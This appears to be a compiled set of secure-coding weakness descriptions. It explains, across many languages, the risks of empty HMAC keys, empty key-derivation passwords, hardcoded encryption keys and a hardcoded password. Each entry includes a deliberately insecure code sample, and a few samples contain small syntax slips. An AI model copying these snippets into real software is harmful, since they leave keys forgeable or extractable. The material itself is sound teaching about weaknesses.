It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.
Example 1: The following code uses an empty key to compute the HMAC:

...
DATA: lo_hmac TYPE Ref To cl_abap_hmac,
             Input_string type string.

CALL METHOD cl_abap_hmac=>get_instance
  EXPORTING
    if_algorithm = 'SHA3'
    if_key       = space
  RECEIVING
    ro_object    = lo_hmac.

" update HMAC with input
lo_hmac->update( if_data = input_string ).

" finalise hmac
lo_digest->final( ).

...

The code shown in Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.

It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.
Example 1: The following code uses an empty key to compute the HMAC:

...
using (HMAC hmac = HMAC.Create("HMACSHA512"))
{
  string hmacKey = "";
  byte[] keyBytes = Encoding.ASCII.GetBytes(hmacKey);
  hmac.Key = keyBytes;
  ...
}
...

The code in Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.

Never use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.

Example 1: The following code uses an empty key to compute the HMAC:

import "crypto/hmac"
...
hmac.New(md5.New, []byte(""))
...

The code in Example 1 might run successfully, but anyone who has access to it can determine that it uses an empty HMAC key. After the program ships, there is no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.

It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.
Example 1: The following code uses an empty HMAC key to generate the HMAC hash:

...
let hmacKey = "";
let hmac = crypto.createHmac("SHA256", hmacKey);
hmac.update(data);
...

The code in Example 1 might run successfully, but anyone with access to it might figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function.

It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.

Example 1: The following code uses an empty key to compute the HMAC:

...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...

The code in Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.

It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.

Example 1: The following code uses an empty key to compute the HMAC:

import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...

The code in Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.

It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.

Example 1: The following code uses an empty key to compute the HMAC:

...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...

The code in Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.

It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.

Example 1: The following code uses an empty key to compute the HMAC:

...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...

The code in Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.

It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:

...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...

Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on an empty password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.

It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key is based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:

const pbkdfPassword = "";
crypto.pbkdf2(
    pbkdfPassword,
    salt,
    numIterations,
    keyLen,
    hashAlg,
    function (err, derivedKey) { ... }
)

Not only can anyone with access to the code determine that it generates one or more cryptographic keys based on an empty password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.

It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:

...
CCKeyDerivationPBKDF(kCCPBKDF2,
                     "",
                     0,
                     salt,
                     saltLen
                     kCCPRFHmacAlgSHA256,
                     100000,
                     derivedKey,
                     derivedKeyLen);
...

Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on an empty password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.

Example 2: Some lower-level APIs may require passing the length of certain arguments as well as the argument values themselves, such that a function can read the argument's value as a number of consecutive bytes beginning at the argument's location in memory. The following code passes zero as the password length argument to a cryptographic PBKDF:

...
CCKeyDerivationPBKDF(kCCPBKDF2,
                     password,
                     0,
                     salt,
                     saltLen
                     kCCPRFHmacAlgSHA256,
                     100000,
                     derivedKey,
                     derivedKeyLen);
...

In this scenario, even if password contains a strong, appropriately managed password value, passing its length as zero will result in an empty, null, or otherwise unexpected weak password value.

It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:

...
$zip = new ZipArchive();
$zip->open("test.zip", ZipArchive::CREATE);
$zip->setEncryptionIndex(0, ZipArchive::EM_AES_256, "");
...

Anyone with access to the code can determine that it generates one or more cryptographic keys based on an empty password argument. Additionally, anyone with even basic cracking techniques might successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.

It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:

from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', '', salt, 100000)
...

Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on an empty password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.

It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:

...
key = OpenSSL::PKCS5::pbkdf2_hmac('', salt, 100000, 256, 'SHA256')
...

Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on an empty password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.

It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:

...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
"",
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...

Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on an empty password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.

Example 2: Some lower-level APIs may require passing the length of certain arguments as well as the argument values themselves, such that a function can read the argument's value as a number of consecutive bytes beginning at the argument's location in memory. The following code passes zero as the password length argument to a cryptographic PBKDF:

...
CCKeyDerivationPBKDF(CCPBKDFAlgorithm(kCCPBKDF2),
password,
0,
salt,
saltLen,
CCPseudoRandomAlgorithm(kCCPRFHmacAlgSHA256),
100000,
derivedKey,
derivedKeyLen)
...

In this scenario, even if password contains a strong, appropriately managed password value, passing its length as zero will result in an empty, null, or otherwise unexpected weak password value.

It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:

...
encryptionKey = "lakdsljkalkjlksdfkl".
...

Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.

It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:

    ...
    var encryptionKey:String = "lakdsljkalkjlksdfkl";
    var key:ByteArray = Hex.toArray(Hex.fromString(encryptionKey));
    ...
    var aes.ICipher = Crypto.getCipher("aes-cbc", key, padding);
    ...

Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.

Never hardcode an encryption key because it makes the encryption key visible to all of the project's developers, and makes fixing the problem extremely difficult. Changing the encryption key after the code is in production requires a software patch. If the account that the encryption key protects is compromised, the organization must choose between security and system availability.

Example 1: The following code performs AES encryption using a hardcoded encryption key:

...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...

Anyone with access to the code can see the encryption key. After the application has shipped, there is no way to change the encryption key without a software patch. An employee with access to this information can use it to break into the system. Any attacker with access to the application executable can extract the encryption key value.

It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:

...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
  string encryptionKey = "lakdsljkalkjlksdfkl";
  byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
  algorithm.Key = keyBytes;
  ...
}

Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.

It is never a good idea to hardcode an encryption key. Not only does hardcoding an encryption key allow all of the project's developers to view the encryption key, it also makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:

...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...

Anyone with access to the code has access to the encryption key. After the program ships, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers have access to the executable for the application they can disassemble the code, which will contain the value of the encryption key used.

It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:

	...
	<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
	<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
	...

Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.

It is never a good idea to hardcode an encryption key because all of the project's developers can view the encryption key, and fixing the problem is extremely difficult. After the code is in production, changing the encryption key requires a software patch. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:

...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...

Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.

It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:

  ...
  var crypto = require('crypto');
  var encryptionKey = "lakdsljkalkjlksdfkl";
  var algorithm = 'aes-256-ctr';
  var cipher = crypto.createCipher(algorithm, encryptionKey);
  ...
  

Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.

Never hardcode passwords. Not only does it expose the password to all of the project's developers, it also makes fixing the problem extremely difficult. After the code is in production, a program patch is probably the only way to change the password. If the account the password protects is compromised, the system owners must choose between security and availability.
Example 1: The following JSON uses a hardcoded password:

...
{
  "username":"scott"
  "password":"tiger"
}
...

This configuration may be valid, but anyone who has access to the configuration will have access to the password. After the program is released, changing the default user account "scott" with a password of "tiger" is difficult. Anyone with access to this information can use it to break into the system.